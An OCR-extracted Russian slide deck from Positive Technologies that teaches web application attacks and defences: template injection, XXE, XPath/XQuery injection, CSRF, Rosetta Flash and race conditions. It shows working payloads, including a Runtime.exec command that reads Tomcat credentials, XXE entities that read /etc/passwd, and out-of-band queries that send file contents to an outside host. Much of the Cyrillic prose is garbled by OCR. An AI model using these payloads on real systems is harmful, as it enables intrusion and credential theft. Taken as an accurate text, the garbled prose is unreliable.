be3onacHoe nporpaMmMmupoBaHue

Offensive

ptsecurity.com

~OSITIVE TECHNOLOGIES




Knaccugukaums ya3BMMoCTeN, Yrpo3 1 atak

* OWASP / WASC



Attacks

Abuse of Functionality
Brute Force

Buffer Overflow

Content Spoofing
Credential / Session Prediction
Cross-Site Scripting
Cross-Site Request Forgery
Denial of Service
Fingerprinting

Format String

HTTP Response Smuggling
HTTP Response Splitting
HTTP Request Smuggling
HTTP Request Splitting
Integer Overflows

Knaccmdgunkauma yassumMocTen, yrpos n atak

Attacks

LDAP Injection

Mail Command Injection
Null Byte Injection

OS Commanding

Path Traversal

Predictable Resource Location
Remote File Inclusion (RFI)
Routing Detour

Session Fixation

SOAP Array Abuse

SSI Injection

SQL Injection

URL Redirector Abuse
XPath Injection

XML Attribute Blowup

XML External Entities

XML Entity Expansion

XML Injection

XQuery Injection

~POSITIVE TECHNOLOGIES

Weaknesses

Application Misconfiguration
Directory Indexing

Improper Filesystem Permissions
Improper Input Handling
Improper Output Handling
Information Leakage

Insecure Indexing

Insufficient Anti-automation
Insufficient Authentication
Insufficient Authorization
Insufficient Password Recovery
Insufficient Process Validation
Insufficient Session Expiration
Insufficient Transport Layer Protection
Server Misconfiguration



~OSITIVE TECHNOLOGIES

Knaccmndpukauus
YA3BMMOCTEWN,
yrpos u aTak

WASC-19 SQL Injection Al - Injection
WASC-23 XML Injection

WASC-28 Null Byte Injection

WASC-29 LDAP Injection

WASC-30 Mail Command Injection

WASC-31 05 Commanding

WASC-39 XPath Injection

WASC-46 XQuery Injection

WASC-08 Cross-5Site Scripting A2 -Cross Site Scripting [(X55)

WASC-01 Insufficient Authentication A3 - Broken Authentication and Session
WASC-18 Credential/Session Prediction

WASC-3T Session Fixation
WASC-4T Insufficient Session Expiration

WASC-01 Insufficient Authentication Ad - Insecure Direct Object References
WASC-02 Insufficient Authorization
WASC-33 Path Traversal

WASC-09 Cross-site Request Forgery A5 - Cross-Site Request Forgery

WASC-14 Server Misconfiguration AG - Security Misconfiguration
WASC-15 Application Misconfiguration

WASC-02 Insufficient Authorization AT - Failure to Restrict URL Access
WASC-10 Denial of Service

WASC-11 Brute Force

WASC-21 Insufficient Anti-automation

WASC-34 Predictable Resource Location

WASC-38 URL Redirector Abuse AB - Unvalidated Redirects and Forwards

WASC-50 Insufficient Data Protection A9 - Insecure Cryptographic Storage
WASC-04 Insufficient Transport Layer Protection A10 -Insufficient Transport Layer Protection



* YnpaBreHune NotTokamm AaHHbIX
* IHbekuumn + BbINOMHEHME Koaa
* YTEeUKn nHdopmaumnm

* YNpaBreHne notokamm onepaumu
* HepgocTtatodHasa npoBepkKa npoLecca

« Race Condition n atakn Ha aTOMapHOCTb
« CSRF

* YnpaBrneHue OOCTYyNnoMm
* NAA
 [1Byx(pakTOpHble MeToAbl ayTeHTUPMKaUnm



* KpunTtorpadgus
» ATaku Ha peanmsauunmn KpUNTonpPoTOKOMNOB
* ATakm Ha KpUNTONpMMUTUBDI

* IHppacTpykTypa

* DOS 1 npobrnembl MpUnoXxeHmm
* [1pobnemsbl cpeabl
« CTtopoHHee 1O

* QyHKUMOHaNbHbIE NMPeaMETHbIE 0bnacTu
° |_|J'IaFI/IHbI, NPUNOXEHUA
« Onepartopckne ctaHumu
 Pa3BuTtne atak Ha KIIMEHTOB



VIHbEeKLUMN 1 BbINOMHEHNE KOOa

* IHbekunn koga
« Path Traversal + LFI
* OS Commanding
* Null Bytes

* SOL nHbekumnmn

« XML, XPath, XQuery nHbekuumn

e HTML / XSS nHbekuum

 CRLF

* Open Redirection

 3arpyska cannon

* *QL nHbekumn (LINQ, NoSQL, etc)
« Format String un npoyne aptedakThl



Attacks

Abuse of Functionality
Brute Force

Buffer Overflow

Content Spoofing
Credential / Session Prediction
Cross-Site Scripting
Cross-Site Request Forgery
Denial of Service
Fingerprinting

Format String

HTTP Response Smuggling
HTTP Response Splitting
HTTP Request Smuggling
HTTP Request Splitting
Integer Overflows

Attacks

LDAP Injection

Mail Command Injection
Null Byte Injection

OS Commanding

Path Traversal

Predictable Resource Location
Remote File Inclusion (RFI)
Routing Detour

Session Fixation

SOAP Array Abuse

SSI Injection

SQL Injection

URL Redirector Abuse
XPath Injection

XML Attribute Blowup

XML External Entities

XML Entity Expansion

XML Injection

XQuery Injection

~POSITIVE TECHNOLOGIES

Weaknesses

Application Misconfiguration
Directory Indexing

Improper Filesystem Permissions
Improper Input Handling
Improper Output Handling
Information Leakage

Insecure Indexing

Insufficient Anti-automation
Insufficient Authentication
Insufficient Authorization
Insufficient Password Recovery
Insufficient Process Validation
Insufficient Session Expiration
Insufficient Transport Layer Protection
Server Misconfiguration



- BcTpeyanucb B TpeX NpoeKTax 3a 5+ ner
aHanun3sa sawuuweHHoctu [1BO

* Template napcuHr
» Path traversal / LFI / RFI / Null Byte
« XXE + SSRF via Gopher + Apache Tomcat defaults



* BcTpeyanuch B Tpex NpoeKkTax 3a 5+ net
aHanu3a 3awuweHHoctn AbO

* Template napcuHr
» Path traversal / LFI / RFI / Null Byte
« XXE + SSRF via Gopher + Apache Tomcat defaults



~POSITIVE TECHNOLOGIES

* http://blog.portswigger.net/2015/08/server-side-template-

Injection.html
a{*comment*}b <

 Hello ${7*7}
${"z".join("ab")} |

e Uusername}}<tag>
* {php}echo "id";{/php]

Unknown

Jlnja2
{7*71) <
Not vulnerable Unknown



http://blog.portswigger.net/2015/08/server-side-template-injection.html

~OSITIVE TECHNOLOGIES

POST /***/logon.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 399

data=getclosestpoint!

importPackage(java.util);

ImportPackage(java.io);

iImportPackage(java.lang);

function x(){p=Runtime.getRuntime().exec('cmd.exe /c type
"E:\\apache-tomcat-6.0.35-demo\\conf\tomcat-users.xml");
a=InputStreamReader(p.getinputStream());

s=new Scanner(a).useDelimiter('\\A");

c=s.next();

Runtime.getRuntime().exec(c.replaceAll(" \r\n"," ™)
;return new HashMap();}

X();



* BcTpeyanuch B Tpex NpoeKkTax 3a 5+ net
aHanu3a 3awuweHHoctn AbO

* Template napcuHr
» Path traversal / LFI / RFI / Null Byte



Path Traversal + Arbitrary File Uploading

« 3arpyxaem xml-doansn u UcrnonHsieMbin pann
BO BPEMEHHYI0 ONPEKTOPUIO

* QHTpONua 216

* Onpenensiem naeHTndukatop nepsoro dgavna vyepes XXE
* lmeHTudunkaTtop BToporo pavna = ID1+1

 Path traversal leads to RCE



Path Traversal + Arbitrary File Uploading

AamuHucTpatop: CA\Windows\system32homd.exe

youp

ID: QSTYARSUTSOGNAVAUSJOCHIUJMRLYI

Upload trigger file
Predict ID countepr
Found? Last ID =5616
Upload HSLT File

~POSITIVE TECHNOLOGIES

File name = .. ./../. ./ ../ ../../../../. ./ Documentsx20andx208ettings Administrator

Localx205~ttings/Temp-s1.- 5617 .x=s1
Compile ..1: file with this info and name

RHeady?
Heady for Code Execution?

Cos>

0617,

1.




* BcTpeyanucob B ABYX NpoekKkTax 3a 5+ net
aHanun3sa sawuuweHHoctu 1O

* [lpaAMasn KoHkaTeHaLlus
* Input validation
» «Security through obscurity»



~OSITIVE TECHNOLOGIES

Bupgeo




XXE, XPath, XQuery injection

- BcTpevaetca noBcemecTHO, XML — «ntoOMmMbINY
doopmaT Oyxrantepumn

* MMpakTnyeckn Bce napcepbl yA3BUMbI
N3-3a HEKOPPEKTHON HACTPOUKMU
(6be3onacHble HACTPOUKU OTKIMHOYEHbI MO YMONMYaHUIO)

» SOA-architecture (REST, SOAP, Oauth, XML-RPC, etc)

* EcTb Oonee 9000 napcepoB, ecTb MHOXeCTBO popmaToB XML
(XSLT, SOAP, XSD schemas)

« XML? Torga XPath n XQuery



 Local file access

* Intranet (SSRF)

» Host-scan / Port-scan

* Remote Code Execution (u3peaka)
* Denial of Service




« XML data output (basic)
* Error-based XXE
» DTD (invalid/values type definition) |

Y

* Application layer
 Schema validation
 Parameter Entities Errors: DTD, XSLT, etc

* Blind techniques
» XSD values bruteforce (@d0znpp)

» Out-of-Band (Parameter Entities)




User:

<?xml >
<request><name>Hello</name><action>blah</action></request>
Application: $name = $dom->getElementsByTagName(‘name);
<?xml >

<response><name><?=%$name?></name><result>blah2</result>
</response>



User:

<?xml >

<IDOCTYPE request [<IENTITY heck SYSTEM “file:///etc/passwd”>]>
<request><name>&heck</name><action>blah</action></request>



Application:
<?xml >

<response><name>root:x:0:0:Superuser:/: daemon:*:1:5::/:/sbin/sh
***</name><result>blah2</result></response>



Error based example (application layer)

User:

<?xml >

<IDOCTYPE request [<IENTITY heck SYSTEM “file:///etc/passwd”>]>
<request><name>Hello</name><action>&heck</action></request>



Error based example (application layer)

Application:

Application error: Action attribute “root:x:0:0:Superuser:/:
daemon:*:1:5::/:/sbin/sh ” doesn’t exists



Error based example (Invalid DTD)

User:
<?xml >
<IDOCTYPE request SYSTEM *“file:///etc/passwd™>

*k*



Error based example (Invalid DTD)

Application:

XML Parser error: Doctype contains invalid symbols:
root:x:0:0:Superuser:/:

* OrpaHuyeHus: yawle Bcero 1 cTpoka
* [lepebop cywecTBYOWMNX (hannoB, OTKPbITbIX COKEeTOB



Error based output (Parameter Entities)

User:
<IDOCTYPE html|
<IENTITY % foo SYSTEM "file:///c:/boot.ini">

%foo;]>



Error based output (Parameter Entities)

Application:

XML Parser error: Doctype definition contains invalid symbols:
root:x:0:0:Superuser:/:

» OrpaHnyeHmns: Heobxogmm gOCTyN K elle ogHOMY Xml-OOKYMEHTY
* YaoaneHHbin (http://evilhost/)
* inn nokaneHbn (file://tmp/upload/docs/***)



Parameter entities resolve/validation algorithm

<IENTITY title "Hello, World!"> ]>

local_file.xml:

<IENTITY title "Hello, World!">




XXE attacks restrictions

« XML parser reads only valid xml documents
* No binary =(
(http:/mww.w3.0org/TR/REC-xml/#CharClasses)
« Malformed first string (no encoding attribute) (some parsers)
« But we have wrappers!

 Resulting document should also be valid
* No external entities in attributes



http://www.w3.org/TR/REC-xml/

XXE, XPath, XQuery injection

» BcTpeyvaeTtcs noBceMecTHo, XML — «modunmMbIny»
doopmat byxrantepuu

* [1pakTnyeckn Bce napcepbl yA3BUMbI
N3-3a HEKOPPEKTHOMN HACTPOUKU
(be3onacHble HAaCTPOUKKU OTKITKOYEHbI MO YMOMYaHUIO)

» SOA-architecture (REST, SOAP, Oauth, XML-RPC, etc)

* EcTb Oonee 9000 napcepoB, ecTb MHOXeCTBO popmaToB XML
(XSLT, SOAP, XSD schemas)

« XML? Torga XPath n XQuery



XPath, XQuery injection

» Union 0 and 1=1] | //* | [0

* Time-based 1"and if (count(/*)=1) then reverse(-9999 to 9999)=0
else 1=1 and "1"="1

* OOB+XXE doc(concat("Your public ip",encode-for-uri(doc("Your
public Ip/XXE.xml"))))

* OOB doc(concat("Your public ip",encode-for-uri(unparsed-
text("/etc/passwd"))))



HTML, JS injection

* B KaXkaoOM BTOPOM NpoOeKTe
» Content Spoofing
» Cross-Site Scripting



~OSITIVE TECHNOLOGIES

HTML,

CumBon HTML akBuBaneHT
JS injection < &It; nnn &#60;
> &Qgt; unn &#62;
( &#AO;
) &#41;
# &#35;
& &amp; unn &#38;
! &quot; nnu &#34;
' &#039;
% &#37,;
+ &#43;
- &#45;

; &#59;




HTML, JS injection

* [MpoBepka Mo YepHbIM CMCKaM He NoMoraeT

« WAF He nomMmoraeT
« HTML5, HTMLSG, etc =)



HTML, JS injection. Yrposbl

* [lonHaa komnpomeTauna y4eTHOM 3anncu
* XULLEHNE OEHEXHbIX CPEOCTB
* ATakn Ha ornepaTtopckme pabodme ctaHumn



/redir_lang.jsp?lang=foobar%0d%0aContent-

Length:%200%0d%0a%0d%0aHTTP/1.1%20200%200K%0d%0aCo
ntent-

Type:%20text/htm|%0d%0aContent-
Length:%2019%0d%0a%0d%0a<htm|>Shazam</htm|>

http://<webmail>/read _email.php?message id=1
BODY[HEADER]%0d%0aV001 CAPABILITY%0d%0aVvV002 FETCH 1



* http://original_site.com/redirect.html?g=http://external_site.com/exter
nal page.html

 benble cnucku



Why File Upload Forms are a Major Security Threat

(https://www.acunetix.com/websitesecurity/upload-forms-threat/)
« XSS

- RCE
« XXE
» OnepaTtopckme MallunHbI



https://www.acunetix.com/websitesecurity/upload-forms-threat/

Kak Henb35 NpoBepPATh:

* [Mo pacLumpeHmnto

* [1o mimetype

* [1lo coagepXmmomy
* Ha KNMeHTCKOW CTOPOHE

* If possible, upload the files in a directory outside the server root
- BLOB



Query Language Injection

* LINQ Injection

* NoSQL injection

* QL injection

* HQL — He naHaue4!



Query Language Injection

Instructions?filter=%7B%22and%22%3A%5B%7B%22column%22%3
A%22paymentDate%22%2C%22compare-
type%22%3A%22GREATER_THAN OR_EQUAL%22%2C%22value
%22%3A1404518400000%7D%2C%7B%22column%22%3A%22pay
mentDate%22%2C%22compare-
type%22%3A%22LESS THAN OR_EQUAL%22%2C%22value%?22
%3A1412553600000%7D%2C%/B%22column%22%3A%22activeDi
spute%22%2C%22value%22%3Afalse%2C%22compare-
type%22%3A%22EQUAL%22%7D%5D%7D& dc=1412526788526&
page=1&start=0&limit=15 HTTP/1.1



Query Language Injection

Instructions?filter=%7B%220r%22%3A%5B% /B%22column%22%3A
%22paymentDate%22%2C%22compare-
type%22%3A%22GREATER_THAN OR_EQUAL%22%2C%22value
%22%3A1404518400000%7D%2C%7B%22column%22%3A%22pay
mentDate%22%2C%22compare-
type%22%3A%22LESS THAN OR_EQUAL%22%2C%22value%22
%3A1412553600000%7D%2C%/B%22column%22%3A%22activeDi
spute%22%2C%22value%22%3Afalse%2C%22compare-
type%22%3A%22EQUAL%22%7D%5D%7D& dc=1412526788526&
page=1&start=0&limit=15 HTTP/1.1



Query Language Injection

* LINQ Injection

* NoSQL injection

* QL injection

* HQL — He naHaues!



Query Language Injection

/[ java
List users = hibernate.find("from Users where username =
"+formUsername+""";

If (users.length==0) { return BAD_USER; }
If ('checkPassword(users.get(0).getPassword(), formPassword)) {
return BAD USERNAME_ PASSWORD COMBO;

}

/[l continue to mark session as authenticated



Format string, Buffer Overflow, etc

» QuUnbTpaunsa rno AfMHe, BXOXKOEHNIO U T. A.
ooLwenpuHATLIMU cnocobamum (Security Best Practices)!



* OTnago4Hble nHTepdencol be3 AOMKHOW aBTOpM3aLIUn
 OWwnbkm n nedbar



Attacks

Abuse of Functionality
Brute Force

Buffer Overflow

Content Spoofing
Credential / Session Prediction
Cross-Site Scripting
Cross-Site Request Forgery
Denial of Service
Fingerprinting

Format String

HTTP Response Smuggling
HTTP Response Splitting
HTTP Request Smuggling
HTTP Request Splitting
Integer Overflows

Attacks

LDAP Injection

Mail Command Injection
Null Byte Injection

OS Commanding

Path Traversal

Predictable Resource Location
Remote File Inclusion (RFI)
Routing Detour

Session Fixation

SOAP Array Abuse

SSI Injection

SQL Injection

URL Redirector Abuse
XPath Injection

XML Attribute Blowup

XML External Entities

XML Entity Expansion

XML Injection

XQuery Injection

~POSITIVE TECHNOLOGIES

Weaknesses

Application Misconfiguration
Directory Indexing

Improper Filesystem Permissions
Improper Input Handling

Improper Output Handling
Information Leakage

Insecure Indexing

Insufficient Anti-automation
Insufficient Authentication
Insufficient Authorization

Insufficient Password Recovery
Insufficient Process Validation
Insufficient Session Expiration
Insufficient Transport Layer Protection
Server Misconfiguration



« 3HaHue Full Install / Web Path
« XXE
- RCE
e EtC

* Bepcuun ncnonbsyemoro 10
» PackpbITe nepcoHarnbHbIX aHHbIX



HepocTtaTo4Has npoBepka npotecca / Race condition /
~POSITIVE TECHNOLOGIES
ATOMapPHOCTb




Attacks

Abuse of Functionality
Brute Force

Buffer Overflow

Content Spoofing
Credential / Session Prediction
Cross-Site Scripting
Cross-Site Request Forgery
Denial of Service
Fingerprinting

Format String

HTTP Response Smuggling
HTTP Response Splitting
HTTP Request Smuggling
HTTP Request Splitting
Integer Overflows

Attacks

LDAP Injection

Mail Command Injection

Null Byte Injection

OS Commanding

Path Traversal

Predictable Resource Location
Remote File Inclusion (RFI)
Routing Detour

Session Fixation

SOAP Array Abuse
SSI Injection

SQL Injection

URL Redirector Abuse
XPath Injection

XML Attribute Blowup
XML External Entities
XML Entity Expansion
XML Injection

XQuery Injection

~POSITIVE TECHNOLOGIES

Weaknesses

Application Misconfiguration
Directory Indexing

Improper Filesystem Permissions
Improper Input Handling
Improper Output Handling
Information Leakage

Insecure Indexing

Insufficient Anti-automation
Insufficient Authentication

Insufficient Authorization
Insufficient Password Recovery

Insufficient Process Validation
Insufficient Session Expiration
Insufficient Transport Layer Protection
Server Misconfiguration



ATakun Ha busHec-noruky / Hegoctato4Has npoBepka npotecca

» Race condition / AToMapHOCTb
» PaboTa c oTpuuaTtenbHbiMn Ynucrnamm / Int Overflow/e

* ATaKkm Ha OKpyrneHme
* MOXXHO 3aKpbiBaTb BUPT CYETA

* HegocrtatoyHaa aBTopumsauns

 [logmeHa Tuna onepauunmu
 [lepeBogbl B 06x04 NpoBEPOK

« OBxoa NMMNTOB
* [loBTOpP TpaH3akuuu no id
* [lpnBaska k ceccun [ ATOMapHOCTb



ATtakun Ha busHec-noruky / Race Condition

« COCTOSIHNE FOHKM — OLLUMOKa NPOEKTUPOBAHNA MHOIONMOTOYHOW
CUCTEMbI NN NPUNOXEHUS, NPU KOTOPON paboTa CUCTEMDI
NIV NPUNOXEHUS 3aBUCUT OT TOro, B KAKOM NopsgKe
BbIMOJTHAKTCSA YacTu Koaa

» OHO HacTynaeT B criydae, Korga gsa unu bonee nortoka
B rnaparnnenbHou nporpamme ogHoBpeMeHHO obpallatoTcs
K OOHOW CTPYKTYPE AAHHbIX, NPUYEM MEXOY HUMWN HET
NPUHYONTENBHOIO YNopsaovnBaHmMs BO BPEMEHU U XOTS Dbl
OAHO U3 3TUX 0DpaLLEHNN — Ha 3aMnunChb



ATtakun Ha busHec-noruky / Race Condition

$count = file_get_contents("rctestl.txt"); // $c=“10";
If ($count>0)
{
$count--;
file_put_contents("rctestl.txt",$count);
echo "ok ".$count."\r\n";

}

else

{

echo "error. < 0: ".var_dump($count)."\r\n";

}



ATtakun Ha busHec-noruky / Race Condition

* [loaTBepxaeHne TpaHsakuum (c OTI1, 6e3 OTI)
« O6xoa NMUMUTOB

 Obxon banaHca

* Improve-3auuna atak Ha okpyrrneHue

* [1pyrne «aencTeua», HapywatroLime LeNnoCTHOCTb



~POSITIVE TECHNOLOGIES




Attacks

Abuse of Functionality

Brute Force

Buffer Overflow

Content Spoofing

Credential / Session Prediction
Cross-Site Scripting
Cross-Site Request Forgery
Denial of Service
Fingerprinting

Format String

HTTP Response Smuggling
HTTP Response Splitting
HTTP Request Smuggling
HTTP Request Splitting
Integer Overflows

Attacks

LDAP Injection

Mail Command Injection

Null Byte Injection

OS Commanding

Path Traversal

Predictable Resource Location
Remote File Inclusion (RFI)
Routing Detour

Session Fixation

SOAP Array Abuse
SSI Injection

SQL Injection

URL Redirector Abuse
XPath Injection

XML Attribute Blowup
XML External Entities
XML Entity Expansion
XML Injection

XQuery Injection

~POSITIVE TECHNOLOGIES

Weaknesses

Application Misconfiguration
Directory Indexing

Improper Filesystem Permissions
Improper Input Handling
Improper Output Handling
Information Leakage

Insecure Indexing

Insufficient Anti-automation
Insufficient Authentication

Insufficient Authorization
Insufficient Password Recovery

Insufficient Process Validation
Insufficient Session Expiration
Insufficient Transport Layer Protection
Server Misconfiguration



~POSITIVE TECHNOLOGIES

Cross-Site Request Forgery — MHOro uyma m3-3a Hu4Yero
© Cepren 'opoen4nk

» OHa 13 caMblX CTapblX aTtak (gatmpoBaHa 1988 rogom)
» BcTpeyvaeTtca noscemecTHo B 2014 roay

* HanpaBneHa Ha nonb3oBaTeneun
BED-NPUNOXEHUSA

* [lpocTa B noncke n akcnnyaraumu



~POSITIVE TECHNOLOGIES

Cross-Site Request Forgery — MHOro uyma m3-3a Hu4Yero
© Cepren 'opoen4nk

» OHa 13 caMblX CTapblX aTtak (gatmpoBaHa 1988 rogom)
» BcTpeyvaeTtca noscemecTHo B 2014 roay

* HanpaBneHa Ha nonb3oBaTeneun
BED-NPUNOXEHUSA

* [lpocTa B noncke n akcnnyaraumu




[Touemy BCTpevaeTcs Tak 4acTto?

<form action="settings.php" method="POST">
First name: <input type="text" name="first"><br>
Last name: <input type="text" name="last"><br>
</form>



[Touemy BCTpevaeTcs Tak 4acTto?

<form action="settings.php" method="POST">
First name: <input type="text" name="first"><br>
Last name: <input type="text" name="last"><br>
</form>

<form action="settings.php" method="POST">
Email: <input type="text" name="email"><br>
Password: <input type="text" name="pwd"><br>
</form>



Cross Site Request Forgery

Victim Browser

e

5

GET /blog HTTP/1.1

www.attacker.com www.bank.com

e

<form
action="http://www.bank.com/settings.
php" method="POST">

<input type="text" name="email">
<input type="text" name="pwd">
<input type="submit" value="Submit">
</form>

POST /settings.php HTTP/1.1
Cookie: PHPSESSID=***

e

email=newemail&pwd=newpwd

HTTP/1.1 200 OK

Transfer complete!



« CAPTCHA

 [lononHuTenbHas ayTeHTUduKauns
* [1laponbHasa ayTeHTUudunkaumng
« OOHOpPAa30BbLIN TOKEH

* YHMKanNbHbIe TOKEHbLI 3anpoca
* TOKeH aBnaeTca KOPPEKTHbIM TOMNbLKO Ha O4MH 3anpoc

« TokeH ABNSAETCA KOPPEKTHBLIM TONbKO Ha TOT 3anpoc,
[J151 KOTOPOro OH CreHepupoBaH

° BpeMFI XN3HU TOKEHA — OrpaHN4YeHo
» 3awunTta ¢ ncnonb3oBaHnem nposepkn HTTP Referer



<form action="settings.php" method="POST">
Emall: <input type="text" name="email"><br>
Password: <input type="text" name="pwd"><br>
<input type="submit" value="Submit">

</form>

<form action="settings.php" method="POST">
Email: <input type="text" name="email"><br>
New Password: <input type="text" name="newpwd"><br>
Old Password: <input type="text" name="oldpwd"><br>
<input type="submit" value="Submit">
</form>



* l3ameHeHune norvHa / naponsa / e-mail onsa BocctaHOBNEHUS
* [lepeBo OeHeEXHbIX CpeacTs

 3arpyska gpamnoB c npaBamu agmMmmHuctpatopa (!)

» JKCnnyaTtaunum XpaHMMbIX XSS



<form action="settings.php" method="POST">
First name: <input type="text" name="first"><br>
Last name: <input type="text" name="last"><br>
Old password<input type="text" name="password"><br>
<input type="submit" value="Submit">

</form>
—_ GET /se/send.php?teny> . HTTP/L1.1
° I_Iaponb L‘Ial'l'lle Bcero 3a|'|'|II/ITa Hast:siozzrllhogtp = Send to Spider i
Aocept: */* -
OT nepexsBaTta ceccuu, a He OT CSRF [ intuage: <n | Doan acthe sean
User-Agent: Mozilla/ Do a passive scan ws NT 6.1; Wing4;
- nEd; T:r;der:.t/ls.m Send to Intruder Ctrl+l
® V|€WState - He 3aLL||I/ITa comnserion: closs Send to Repeater Ctrl+R
Send to Sequencer
1 Sendto C
* BurpSuite CSRF PoC ond o Compare
end to Decoder
Show response in browser
b CKaHepr OTﬂblxaI'OT =( Request in browser >
Find references
Change request method Discover content
Change body encoding Schedule task
Copy URL Generate CSRF PoC
Cnre gz ror 1 ramman r




 3arpy3ka pannos
« Multipart / form data (IE < 8.0)
« HTMLS5 calls



* XSS

» Java/Flash Cross Domain Requests
(pacwmpeHHbIn crossdomain.xmi
nnun 3arpyska SWF B npon3BonbHOM pacLUNpPeEHUN)
(Chrome Fixed)



Flash Cross-Domain Vulnerability

» Mike Bailey, Hos0pb 2009 roga (1)

* Adobe (B oTnn4mnm ot Sun) He cobupaeTcs
3aKpblBaTb YA3BUMOCTb

* Yazsumbl BCE 6pay3epbl u BCE Bepcumn Adobe Flash!

* YasBumbl npaktnvyeckn BCE cantbl ¢ File Upload (Gmail, etc),
He dounbTpyrowme pannbl NOo coaepPXKMMoMy



Flash Cross-Domain Vulnerability

OcobeHHOoCTMU:

* [1pun 3arpy3ke cdnelua, He UMEET 3HAYEHUS, KaKOro pacLUMpPeHms
dann. He Tpebytotcsa cneumanbHble 3arornoBKu

* SWF-dhann BbINONHAETCHA B KOHTEKCTE 6€30MacHOCTN JOMEHA,
C KOTOPOro 3arpy»eH (B otnuyme ot JS, Hanpmmep)

* => MoxHo 3arpy3ntb SWF-pann Ha cepsep, NO3BONAKOLLNN
3arpykaTtb oaurnbl 1 He PUNLTPYIOLWNIN coaepXnumoe gpannos



AJ'IFOpI/ITM IKCrJtyataumnm ya3BMMmOCTHA

3arpyxaem «3apsbkeHHblny SWF Ha cepBep vulnhost*
Co3gaem html ¢ BbizoBoM swf 13 vulnhost
[1aem cCbIfKy Nonb30oBaTento

[Tpn nepexone no ccbifike nosib3oBaTenb Bbi3oBeT SWF, KOTOpbIN
BbIMOSTHNTCSA B KOHTEKCTE B6e3onacHocTu vulnhost, 4To Nno3BonuT:
* [MpoBectn CSRF

« Obontn CSRF-3awuty

* YKkpacTtb Cookie

> w e

* Bce 3TO OTHOCUTCA He TONbKO K vulnhost,
HO U K pa3peLueHHbIM B vulnhost/crossdomain.xml xoctam



AJ'IFOpI/ITM IKCrJtyataumnm ya3BMMmOCTHA

5. 2014 roa: jsonp + Rosetta Flash
(http://miki.it)



An TOPUTM 3KCrnyataunn yA3BuMOCTU

_Rosetta

e

FWSIx, {DADE<C~~~Z

Original,
binary SWF

Ay

~POSITIVE TECHNOLOGIES

CWSMIKIOhCDOUpOIZ

Alphanumeric

SWF




« KOHTpOnb nepBbiX OanT B OTBETE OT CeEpBeEpPaA
* AndpaBut [a-zA-Z0-9{0..infinity}



<object type="application/x-shockwave-flash"
data="http://host/vulnerable jsonp.php?callback=CWSMI..." width="1"
height="1"> </object>

HTTP/1.1 200 OK
Content-Length: x

*k*

CSWMI...... stuff



Ycnosus POSITIVE TECHNOLOGIES

http://miki.it/RosettaFlash/rickroll. swi
]JqUnvHIYQEgEmIvVvHaAaFNQHFIIHrzzvEZYqQIJAFNYHOXHTHb110XHkHOXH
ThbOXHTHwt HHhHxRHXa fHBHOLHAhHHHTXdXHHHDXT8D0UpOIZUnnnnnnnnnnnn
nnnnnnnUUSnnnnnn3Snn7CiudIbEAtwwwuD333ww03Gtww0OGDGpt 03wDDDGDDD
33333s033GdFPGFwhHHkoDHDHt DKwhHhFoDHDHtdO1HHhHxUHXWgHzHOoXHtHnNno
LH4ADOUpOIZUnnnnnnnnnnnnnnnnnnnUUSnnnnnn3Snn7CiudIbEAt33wwEQ3GD
DGWGGDDGDwGtwDtwDDGGDDtGDWwGWOGDDWOw33333www033GdFPTDXthHHHLHg
eeorHthHHHXDhtxHHHLtavHOQxQHHHONHDHyMIuiCyIYEHWSsgHmHKcskHoOXHLH
whHHvoXHLhAotHthHHHLXA0OXHLxUvH1IDOUpOIZUnnnnnnnnnnnnnnnnnnnUU5n




* [*comment*/jsonp

» Content-Disposition: attachment;
filename=f.txt

» X-Content-Type-Options: nosniff



NoeHTndmkauma, ayTeHTMguKauma, astopmsauma

* QL nHbeKuumn
» CokpbITHE Ip
* Log forging



Attacks

Abuse of Functionality
Brute Force

Buffer Overflow

Content Spoofing
Credential / Session Prediction
Cross-Site Scripting
Cross-Site Request Forgery
Denial of Service
Fingerprinting

Format String

HTTP Response Smuggling
HTTP Response Splitting
HTTP Request Smuggling
HTTP Request Splitting
Integer Overflows

Attacks

LDAP Injection

Mail Command Injection
Null Byte Injection

OS Commanding

Path Traversal

Predictable Resource Location
Remote File Inclusion (RFI)
Routing Detour

Session Fixation

SOAP Array Abuse

SSI Injection

SQL Injection

URL Redirector Abuse
XPath Injection

XML Attribute Blowup

XML External Entities

XML Entity Expansion

XML Injection

XQuery Injection

~POSITIVE TECHNOLOGIES

Weaknesses

Application Misconfiguration
Directory Indexing

Improper Filesystem Permissions
Improper Input Handling

Improper Output Handling
Information Leakage

Insecure Indexing

Insufficient Anti-automation
Insufficient Authentication
Insufficient Authorization
Insufficient Password Recovery
Insufficient Process Validation
Insufficient Session Expiration
Insufficient Transport Layer Protection
Server Misconfiguration



AyTeHTUMKaUna n aBTopmsauns

* [laponbHaga nonnuTuUKa u ee HapyLwieHue
* HecooTBeTcTBME NAPOSIbHOM NONMUTUKE
e YcTaHOBKa BHa4arne JTO'MHa, a NoTOM MNapon4d

« Ceccuu

« Cookie (httponly, secure, ataka Ha banaHCUPOBLLNK
OEA231C989091155AC16B985702A523E-bIns01)

« [lekpunT ceccum
* HeorpaHn4yeHHOE BPEMS XU3HM CECCUM Ha Server-side
 [lapannenbHble ceccun n ceccum c Yyxoro IP/User-Agent



AyTeHTUpmnkauma n astopusaumnda. MVC

» [locTyn no abcontotHbIM id — 310!
» OrpaHn4yeHunst 3aBsizaHbl HA CECCUIO, @ HE Ha YYETHYIO 3anuchb

* HUKTO HE MellaeT MEeHATb MOAEHTUAUKATOPLI B 3anpocax, Aaxe ecnu
BCe 3aluLleHHOo oT SSL Pinning => ataku Ha OU3HEeC-N0rnKy



HepocrtatodyHasa ayteHTUukauma / asTopumsauyma

 [loCcTyn K 4y>XUM OaHHbIM Mo abcontoTHbIM Iid
» CmeHa naponga 6e3 3HaHuA cTaporo

 [1oCTyn K OTNago4vHbIM CLeHapuUamMm M agMuUHKam
B TECTOBOM N NPOAYKTUBHOWU 30HE
* Request Splitting
» Path Traversal
 SSRF
* Host-based attacks



* UyXne KapThbl, WabnoHbl, cCHeTa HA YTEHUE M 3alnChb

* icTopus onepauunmn / BbIMUCKA

« JKCMopT onepaunmn / BbINMCOK N AOCTYN K HUM

* BO3MOXXHOCTb aBTOpMU3aLmn nog 4yxmum rnosnb3oBarenem (4lemon)
* Mobunku!



[1ByxgpakTopHasa ayTeHTuukauns




Attacks

Abuse of Functionality
Brute Force

Buffer Overflow

Content Spoofing
Credential / Session Prediction
Cross-Site Scripting
Cross-Site Request Forgery
Denial of Service
Fingerprinting

Format String

HTTP Response Smuggling
HTTP Response Splitting
HTTP Request Smuggling
HTTP Request Splitting
Integer Overflows

Attacks

